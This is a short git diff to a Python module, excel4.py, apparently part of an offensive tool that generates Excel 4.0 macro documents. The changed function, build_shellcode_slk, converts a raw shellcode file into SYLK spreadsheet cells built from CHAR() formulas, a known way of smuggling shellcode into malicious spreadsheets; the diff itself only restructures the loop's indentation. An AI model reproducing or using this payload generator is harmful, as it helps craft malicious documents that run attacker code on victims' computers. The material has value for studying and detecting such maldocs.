diff --git a/modules/excel4.py b/modules/excel4.py index 7982917..9e9bcaa 100644 --- a/modules/excel4.py +++ b/modules/excel4.py @@ -32,21 +32,21 @@ def build_shellcode_slk(shellcode_path): slk_output = SHELLCODE_HEADER with open(shellcode_path, "rb") as f: - byte = f.read(1) - i = 0 - cell=0 - while byte != "": - if i == 0: + byte = f.read(1) + i = 0 + cell=0 + while byte != "": + if i == 0: + cell=cell+1 + slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) + else: + slk_output+=("&") + slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") + byte = f.read(1) + i+=1 + if i == 20: + slk_output+=("\n") + i = 0 cell=cell+1 - slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) - else: - slk_output+=("&") - slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") - byte = f.read(1) - i+=1 - if i == 20: - slk_output+=("\n") - i = 0 - cell=cell+1 slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell))) - return slk_output \ No newline at end of file + return slk_output